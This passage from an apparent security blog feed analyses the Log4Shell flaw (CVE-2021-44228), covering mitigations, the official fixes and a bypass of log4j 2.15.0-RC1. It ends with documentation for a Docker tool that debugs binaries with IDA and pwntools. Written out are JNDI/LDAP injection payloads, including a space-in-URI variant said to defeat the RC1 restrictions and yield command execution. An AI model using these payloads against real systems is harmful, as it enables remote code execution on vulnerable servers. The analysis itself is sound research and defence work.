find there is a <code>noLookups</code> which is a value of configuration, the default value of it is the false. We will make use of it to temporarily fix the vulnerabilty later.</p><p>Going forward, we can find the <code>StrSubstitutor.resolveVariable()</code> , it is used to resolve and parse, suporting the protocols incluing JNDI as below</p><p><img src="../../img/Vulnerability%20Analysis%20-%20CVE-2021-44228%20Log4Shell/image-20220119161941649.png" alt="image-20220119161941649"></p><h3 id="Mitigation-Disable-Lookups-with-System-configuration"><a href="#Mitigation-Disable-Lookups-with-System-configuration" class="headerlink" title="Mitigation - Disable Lookups with System configuration"></a>Mitigation - Disable Lookups with System configuration</h3><p><img src="../../img/Vulnerability%20Analysis%20-%20CVE-2021-44228%20Log4Shell/image-20220119165049793.png" alt="image-20220119165049793"></p><p>We can check the cross reference to determine where the <code>noLookups</code> was assigned, it is as below</p><p><img src="../../img/Vulnerability%20Analysis%20-%20CVE-2021-44228%20Log4Shell/image-20220119165155009.png" alt="image-20220119165155009"></p><p><img src="../../img/Vulnerability%20Analysis%20-%20CVE-2021-44228%20Log4Shell/image-20220119165215145.png" alt="image-20220119165215145"></p><p>As a example, I add a line of code to change the system configration, it could also be set by command line or <code>.properties</code> configration file.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"> <span class="keyword">import</span> org.apache.logging.log4j.LogManager;</span><br><span class="line"><span class="keyword">import</span> org.apache.logging.log4j.Logger;</span><br><span class="line"><span class="keyword">import</span> java.lang.*;</span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Main</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>{</span><br><span class="line"> System.setProperty(<span class="string">"log4j2.formatMsgNoLookups"</span>,<span class="string">"true"</span>);</span><br><span class="line"> <span class="keyword">final</span> Logger logger = LogManager.getLogger();</span><br><span class="line"> logger.error(<span class="string">"AAAAA${jndi:ldap://127.0.0.1:1389/#Exploit}BBBBBB"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p> Run the trigger code again, we can find that <code>${jndi:ldap://127.0.0.1:1389/#Exploit}</code> won’t be parsed</p><h3 id="Mitigation-Disable-Lookups-with-Log4j-Configuration"><a href="#Mitigation-Disable-Lookups-with-Log4j-Configuration" class="headerlink" title="Mitigation - Disable Lookups with Log4j Configuration"></a>Mitigation - Disable Lookups with Log4j Configuration</h3><blockquote><p>In my opinion, it’s the best way to protect the system without upgrading</p><p>The official documet: <a href="https://logging.apache.org/log4j/2.x/manual/configuration.html">Log4j – Configuring Log4j 2 (apache.org)</a></p></blockquote><p>The MVP(Minimum Viable Product) of configuration in XML is as shown below.</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?xml version="1.0" encoding="UTF-8"?></span></span><br><span class="line"><span class="tag"><<span class="name">Configuration</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">Appenders</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">Console</span> <span class="attr">name</span>=<span class="string">"Console"</span> <span class="attr">target</span>=<span class="string">"SYSTEM_OUT"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">PatternLayout</span> <span class="attr">pattern</span>=<span class="string">"[%t] %-5level %m{nolookups} %n"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">Console</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">Appenders</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">Loggers</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">Root</span> <span class="attr">level</span>=<span class="string">"info"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">AppenderRef</span> <span class="attr">ref</span>=<span class="string">"Console"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">Root</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">Loggers</span>></span></span><br><span class="line"><span class="tag"></<span class="name">Configuration</span>></span></span><br></pre></td></tr></table></figure><p>Apart from XML, the Log4j also support other formats such as json.</p><h3 id="Thinking-Why-the-Log4j2-needs-the-capability-of-JNDI"><a href="#Thinking-Why-the-Log4j2-needs-the-capability-of-JNDI" class="headerlink" title="Thinking - Why the Log4j2 needs the capability of JNDI"></a>Thinking - Why the Log4j2 needs the capability of JNDI</h3><p>After checking the official documents <a href="https://logging.apache.org/log4j/log4j-2.3/manual/configuration.html#PropertySubstitution">Log4j – Configuring Log4j 2 - Apache Log4j 2</a>,I found the Property Substitution function, it offers the capability to retrieve attributes remotely to make the logging information more abundant</p><p>Because the developers didn’t aware the potential harm, the default value of noLookups was set to false and the source of JNDI wasn’t been restricted.</p><h2 id="Something-else"><a href="#Something-else" class="headerlink" title="Something else"></a>Something else</h2><h3 id="The-common-false-positive"><a href="#The-common-false-positive" class="headerlink" title="The common false positive"></a>The common false positive</h3><p>Many tester determine if the system is vulnerable to the CVE-2021-44228 by checking the DNS request, it’s not rigorous. Many Public Service could send the DNS request for the domian in the payload to take spam intercepting or any else, so the DNS request can’t be the evidence of vulnerabilty.</p><p>There is a better method to check, just insert the <code>${sys:java.version}</code> into the subdomain, it will be much more accurate.</p><h3 id="How-to-defense"><a href="#How-to-defense" class="headerlink" title="How to defense"></a>How to defense</h3><ol><li>Upgrade the log4j2</li><li>Disable Lookups with System configuration</li><li>Disable Lookups with Log4j Configuration</li></ol><h3 id="The-official-fixing"><a href="#The-official-fixing" class="headerlink" title="The official fixing"></a>The official fixing</h3><blockquote><p><a href="https://logging.apache.org/log4j/2.x/changes-report.html">https://logging.apache.org/log4j/2.x/changes-report.html</a></p></blockquote><p><img src="../../img/Vulnerability%20Analysis%20-%20CVE-2021-44228%20Log4Shell/image-20220119191652712.png" alt="image-20220119191652712"></p><p><img src="../../img/Vulnerability%20Analysis%20-%20CVE-2021-44228%20Log4Shell/image-20220119191657495.png" alt="image-20220119191657495"></p><p>As shown above, in Release 2.15.0, it disabled the lookups by default and limit the servers and classes that can be accessed via LDAP.</p><p>What’s more, In release 2.16.0, disable JNDI by default. Require log4j2.enableJndi to be set to true to allow JNDI and completely remove support for Message Lookups.</p><p><img src="../../img/Vulnerability%20Analysis%20-%20CVE-2021-44228%20Log4Shell/image-20220119192017647.png" alt="image-20220119192017647"></p><h2 id="The-Bypassing-in-log4j-2-15-0-RC1"><a href="#The-Bypassing-in-log4j-2-15-0-RC1" class="headerlink" title="The Bypassing in log4j 2.15.0-RC1"></a>The Bypassing in log4j 2.15.0-RC1</h2><h3 id="Compiling"><a href="#Compiling" class="headerlink" title="Compiling"></a>Compiling</h3><p>Because the 2.15.0-RC1 don’t exist in the maven repository, we have to get the source code from GitHub and compile it manually.</p><p><a href="https://github.com/apache/logging-log4j2/tags">Tags · apache/logging-log4j2 (github.com)</a></p><p>According to the <code>README.md</code>, configure the jdk in the toolschains files and we only need the packages for jdk1.8, so just comment out the others.</p><p>Because we don’t need all the modules, modify the <code>modules</code> in <code>pom.xml</code> as shown below</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">modules</span>></span></span><br><span class="line"> <span class="comment"><!-- <module>log4j-api-java9</module> --></span></span><br><span class="line"> <span class="tag"><<span class="name">module</span>></span>log4j-api<span class="tag"></<span class="name">module</span>></span></span><br><span class="line"> <span class="comment"><!-- <module>log4j-core-java9</module> --></span></span><br><span class="line"> <span class="tag"><<span class="name">module</span>></span>log4j-core<span class="tag"></<span class="name">module</span>></span></span><br><span class="line"> <span class="comment"><!-- <module>log4j-layout-template-json</module></span></span><br><span class="line"><span class="comment"> <module>log4j-core-its</module></span></span><br><span class="line"><span class="comment"> <module>log4j-1.2-api</module></span></span><br><span class="line"><span class="comment"> <module>log4j-slf4j-impl</module></span></span><br><span class="line"><span class="comment"> <module>log4j-slf4j18-impl</module></span></span><br><span class="line"><span class="comment"> <module>log4j-to-slf4j</module></span></span><br><span class="line"><span class="comment"> <module>log4j-jcl</module></span></span><br><span class="line"><span class="comment"> <module>log4j-flume-ng</module></span></span><br><span class="line"><span class="comment"> <module>log4j-taglib</module></span></span><br><span class="line"><span class="comment"> <module>log4j-jmx-gui</module></span></span><br><span class="line"><span class="comment"> <module>log4j-samples</module></span></span><br><span class="line"><span class="comment"> <module>log4j-bom</module></span></span><br><span class="line"><span class="comment"> <module>log4j-jdbc-dbcp2</module></span></span><br><span class="line"><span class="comment"> <module>log4j-jpa</module></span></span><br><span class="line"><span class="comment"> <module>log4j-couchdb</module></span></span><br><span class="line"><span class="comment"> <module>log4j-mongodb3</module></span></span><br><span class="line"><span class="comment"> <module>log4j-mongodb4</module></span></span><br><span class="line"><span class="comment"> <module>log4j-cassandra</module></span></span><br><span class="line"><span class="comment"> <module>log4j-web</module></span></span><br><span class="line"><span class="comment"> <module>log4j-jakarta-web</module></span></span><br><span class="line"><span class="comment"> <module>log4j-perf</module></span></span><br><span class="line"><span class="comment"> <module>log4j-iostreams</module></span></span><br><span class="line"><span class="comment"> <module>log4j-jul</module></span></span><br><span class="line"><span class="comment"> <module>log4j-jpl</module></span></span><br><span class="line"><span class="comment"> <module>log4j-liquibase</module></span></span><br><span class="line"><span class="comment"> <module>log4j-appserver</module></span></span><br><span class="line"><span class="comment"> <module>log4j-osgi</module></span></span><br><span class="line"><span class="comment"> <module>log4j-docker</module></span></span><br><span class="line"><span class="comment"> <module>log4j-kubernetes</module></span></span><br><span class="line"><span class="comment"> <module>log4j-spring-boot</module></span></span><br><span class="line"><span class="comment"> <module>log4j-spring-cloud-config</module> --></span></span><br><span class="line"><span class="tag"></<span class="name">modules</span>></span></span><br></pre></td></tr></table></figure><p>To compile, the maven command to run is as below</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># set the env variable JAVA_HOME to the path of jdk1.8</span></span><br><span class="line">./mvnw clean install -t toolchains-sample-mac.xml -Dmaven.test.skip=<span class="literal">true</span> <span class="comment"># skip tests to accelerate</span></span><br></pre></td></tr></table></figure><p>The generated artifacts (.jar) will be in the <code>target</code> directory of every module.</p><h3 id="Analysis-of-the-source-code-1"><a href="#Analysis-of-the-source-code-1" class="headerlink" title="Analysis of the source code"></a>Analysis of the source code</h3><p>Firstly, change the version of log4j to <code>2.15.0</code> in the <code>pom.xml</code>, replace the packages <code>.jar</code> with the generated before.</p><p>Because it disabled the lookups by default in <code>2.15.0</code>, we have to enable it with configuration.</p><p>Modify or create the <code>log4j2.xml</code></p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?xml version="1.0" encoding="UTF-8"?></span></span><br><span class="line"><span class="tag"><<span class="name">Configuration</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">Appenders</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">Console</span> <span class="attr">name</span>=<span class="string">"Console"</span> <span class="attr">target</span>=<span class="string">"SYSTEM_OUT"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">PatternLayout</span> <span class="attr">pattern</span>=<span class="string">"[%t] %-5level %m{lookups} %n"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">Console</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">Appenders</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">Loggers</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">Root</span> <span class="attr">level</span>=<span class="string">"info"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">AppenderRef</span> <span class="attr">ref</span>=<span class="string">"Console"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">Root</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">Loggers</span>></span></span><br><span class="line"><span class="tag"></<span class="name">Configuration</span>></span></span><br></pre></td></tr></table></figure><p>Now, the payload as below will be parsed</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">${sys:java.version}</span><br></pre></td></tr></table></figure><p>However, the payload for JNDI won’t be parsed</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">${jndi:ldap://ip:1389/#Exploit}</span><br></pre></td></tr></table></figure><p>We know that the variable could be resolved but the JNDI has been restricted, let’s have a check with the process of variable resolving. Focus on <code>StrSubstitutor.resolveVariable()</code></p><p><img src="../../img/Vulnerability%20Analysis%20-%20CVE-2021-44228%20Log4Shell/image-20220119203640824.png" alt="image-20220119203640824"></p><p>Step into the <code>lookup()</code></p><p><img src="../../img/Vulnerability%20Analysis%20-%20CVE-2021-44228%20Log4Shell/image-20220119203737325.png" alt="image-20220119203737325"></p><p>We can find that the JNDI could be resolved as before, step into the <code>lookup()</code> again and check what is restricting the JNDI.</p><p><img src="../../img/Vulnerability%20Analysis%20-%20CVE-2021-44228%20Log4Shell/image-20220119203859702.png" alt="image-20220119203859702"></p><p>Step into the <code>lookup()</code> of <code>jndiManager</code></p><p>We can find there are some restrictions about the protocol and source.</p><p><img src="../../img/Vulnerability%20Analysis%20-%20CVE-2021-44228%20Log4Shell/image-20220119204000127.png" alt="image-20220119204000127"></p><p><img src="../../img/Vulnerability%20Analysis%20-%20CVE-2021-44228%20Log4Shell/image-20220119204003833.png" alt="image-20220119204003833"></p><p>As we found, the source has been restricted to some local IP, let’s assume that the restrict about source won’t afffect us as we are testing locally. Apart from this, we can find that the LDAP protocol is permitted.</p><p><img src="../../img/Vulnerability%20Analysis%20-%20CVE-2021-44228%20Log4Shell/image-20220119204438853.png" alt="image-20220119204438853"></p><p>We can find that the Reference Object have been forbidden by <code>attributeMap.get(OBJECT_FACTORY)!=null</code></p><p>Apart from this, the another way to exploit with JNDI, deserialization, has been restricted too, it limited the classes to some basic type with <code>allowedClasses</code> as below</p><p><img src="../../img/Vulnerability%20Analysis%20-%20CVE-2021-44228%20Log4Shell/image-20220119204722750.png" alt="image-20220119204722750"></p><p>Although it looks like perfect, but there is a vulnerability in the logic of exception handling </p><p><img src="../../img/Vulnerability%20Analysis%20-%20CVE-2021-44228%20Log4Shell/image-20220119204943826.png" alt="image-20220119204943826"></p><p>If there is a URI with some error in syntax, it will skip all the assessment and execution will arrive the JNDI <code>lookup</code>.But, how to have a URI which have some error in syntax but could work as intended?</p><p>Just add a space that didn’t encoded by urlencode as below</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">${jndi:ldap://127.0.0.1:1389/# Exploit}</span><br></pre></td></tr></table></figure><p>Run the trigger code again, we can find that the command in exploit code works.</p><p><img src="../../img/Vulnerability%20Analysis%20-%20CVE-2021-44228%20Log4Shell/image-20220119205538805.png" alt="image-20220119205538805"></p><h3 id="Summary-of-the-Bypassing"><a href="#Summary-of-the-Bypassing" class="headerlink" title="Summary of the Bypassing"></a>Summary of the Bypassing</h3><ul><li>The LookUps have to be enabled by developer</li><li>The source of LDAP have to be in the permit list, but the permit list only contains some local address by default</li></ul><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://www.youtube.com/watch?v=w2F67LbEtnk&feature=youtu.be">Log4j Vulnerability (Log4Shell) Explained // CVE-2021-44228 - YouTube</a></li><li><a href="https://logging.apache.org/log4j/2.x/changes-report.html">https://logging.apache.org/log4j/2.x/changes-report.html</a></li><li><a href="https://paper.seebug.org/1786/">https://paper.seebug.org/1786/</a></li><li><a href="https://www.anquanke.com/post/id/262668">https://www.anquanke.com/post/id/262668</a></li><li><a href="https://logging.apache.org/log4j/2.x/manual/configuration.html">Log4j – Configuring Log4j 2 (apache.org)</a></li><li><a href="https://xz.aliyun.com/t/10649#toc-2">https://xz.aliyun.com/t/10649#toc-2</a></li><li><a href="https://www.anquanke.com/post/id/201181">JNDI with LDAP </a></li><li><a href="https://docs.oracle.com/javase/jndi/tutorial/objects/storing/serial.html">Serializable Objects (oracle.com)</a></li><li><a href="https://docs.oracle.com/javase/jndi/tutorial/objects/storing/reference.html">Referenceable Objects and References (oracle.com)</a></li><li><a href="https://www.icode9.com/content-4-1253127.html">https://www.icode9.com/content-4-1253127.html</a></li></ul>]]></content>
<summary type="html"><p>Using Java 8u181</p></summary>
<category term="Vuln-Analysis" scheme="https://www.4xpl0r3r.com/categories/Vuln-Analysis/"/>
<category term="CVE" scheme="https://www.4xpl0r3r.com/tags/CVE/"/>
<category term="Java" scheme="https://www.4xpl0r3r.com/tags/Java/"/>
<category term="JNDI" scheme="https://www.4xpl0r3r.com/tags/JNDI/"/>
<category term="Format String" scheme="https://www.4xpl0r3r.com/tags/Format-String/"/>
</entry>
<entry>
<title>DIPD Document</title>
<link href="https://www.4xpl0r3r.com/Docs/DIPD-Document/"/>
<id>https://www.4xpl0r3r.com/Docs/DIPD-Document/</id>
<published>2021-08-25T21:18:54.000Z</published>
<updated>2022-01-27T15:07:14.000Z</updated>
<content type="html"><![CDATA[<p><a href="https://github.com/4xpl0r3r/DIPD">4xpl0r3r/DIPD: Debug with IDA and Pwntools in Docker (DIPD) (github.com)</a></p><span id="more"></span><article class="message message-immersive is-primary"><div class="message-body"><i class="fas fa-globe-asia mr-2"></i>This article is also available in <a href="https://cn.4xpl0r3r.com/%E6%96%87%E6%A1%A3/DIPD-%E6%96%87%E6%A1%A3/">简体中文</a>.</div></article><h2 id="About"><a href="#About" class="headerlink" title="About"></a>About</h2><p>With this, you can debug a program in docker and make use of both IDA and Pwntools</p><p>SAFT QUICK POWERFUL(IDA)</p><h2 id="Get-Started"><a href="#Get-Started" class="headerlink" title="Get Started"></a>Get Started</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/4xpl0r3r/DIPD.git</span><br></pre></td></tr></table></figure><ol><li>Install docker, docker-compose, and IDA (You can deploy them in separated hosts, but the network between them must be OK)</li><li>move the binary to <code>debug/</code> directory and rename the binary to <code>todebug</code></li><li>run the command <code>docker-compose up</code> in the root directory of this project</li></ol><p>Access to the STDIO of binary</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nc docker.ip 23458</span><br></pre></td></tr></table></figure><p>IDA Pro Debugger Arguments (version 7.6)</p><ul><li>Type: Remote Linux Debugger (Attach)</li><li>Hostname: docker.ip (the IP of your host which running docker)</li><li>Port: 23946</li><li>No password need</li></ul><p><strong>Caution</strong></p><ul><li>You have to run the binary by netcat or pwntools before attaching the process, or you can’t see the desired process in your IDA</li><li>You have to run the docker in a 64bit arch Linux to support both 32bit(i386) and 64bit(amd64) debug</li></ul><h3 id="Demo"><a href="#Demo" class="headerlink" title="Demo"></a>Demo</h3><p>Start the DIPD</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker-compose up</span><br></pre></td></tr></table></figure><p><img src="../../img/DIPD-Docs/image-20210826060049976.png" alt="image-20210826060049976"></p><p>Run and connect to the STDIO of your binary</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nc docker.ip 23458</span><br></pre></td></tr></table></figure><p>Now, your binary should have been running</p><p>Let’s use our IDA and start the IDA Debugger</p><p><img src="../../img/DIPD-Docs/image-20210826060028343.png" alt="image-20210826060028343"></p><p>Input Information and click “OK”</p><p><img src="../../img/DIPD-Docs/image-20210826060059572.png" alt="image-20210826060059572"></p><p>Now you can see the processes in your docker, choose <code>./todebug</code> and click “OK”</p><p><img src="../../img/DIPD-Docs/image-20210826060110022.png" alt="image-20210826060110022"></p><p>Now, you should have got into IDA debug view without any error and exception.</p><h2 id="file-docker-compose-yml"><a href="#file-docker-compose-yml" class="headerlink" title="file - docker-compose.yml"></a>file - docker-compose.yml</h2><h3 id="image"><a href="#image" class="headerlink" title="image"></a>image</h3><p>You can choose the base image as you like, here are some useful options</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">i386/ubuntu:16.04</span><br><span class="line">i386/ubuntu:18.04</span><br><span class="line">amd64/ubuntu:16.04</span><br><span class="line">amd64/ubuntu:18.04</span><br></pre></td></tr></table></figure><p>You have to run your docker in 64bit Arch to support both i386 and amd64, or the only option is i386 </p><h3 id="Other-arguments"><a href="#Other-arguments" class="headerlink" title="Other arguments"></a>Other arguments</h3><p>Just have a look at the annotation over there</p><h2 id="directory-files"><a href="#directory-files" class="headerlink" title="directory - files"></a>directory - files</h2><h3 id="directory-debs"><a href="#directory-debs" class="headerlink" title="directory - debs"></a>directory - <code>debs</code></h3><p>the apt packages for socat, used for fast install and offline support</p><h3 id="files-linux-server-64"><a href="#files-linux-server-64" class="headerlink" title="files - linux_server[64]"></a>files - <code>linux_server[64]</code></h3><p>IDA Debug Server v7.6</p><p>If you don’t want to use IDA v7.6, just replace them with yours</p><h3 id="file-init-sh"><a href="#file-init-sh" class="headerlink" title="file - init.sh"></a>file - <code>init.sh</code></h3><p>This file is used for initializing the debug environment, you can modify it to make any adjustment</p><h2 id="directory-debug"><a href="#directory-debug" class="headerlink" title="directory - debug"></a>directory - debug</h2><p>Just place the binary you want to debug here</p><p>If you have an application isn’t having only 1 ELF file, just copy them all to this directory</p><p>If you don’t want to change the name of your elf file, you could change the argument <code>debug_name</code> in <code>docker-compose.yml</code></p>]]></content>
<summary type="html"><p><a href="https://github.com/4xpl0r3r/DIPD">4xpl0r3r/DIPD: Debug with IDA and Pwntools in Docker (DIPD) (github.com)</a></p></summary>
<category term="Docs" scheme="https://www.4xpl0r3r.com/categories/Docs/"/>
<category term="PWN" scheme="https://www.4xpl0r3r.com/tags/PWN/"/>
<category term="CTF" scheme="https://www.4xpl0r3r.com/tags/CTF/"/>
<category term="Environment" scheme="https://www.4xpl0r3r.com/tags/Environment/"/>
</entry>
</feed>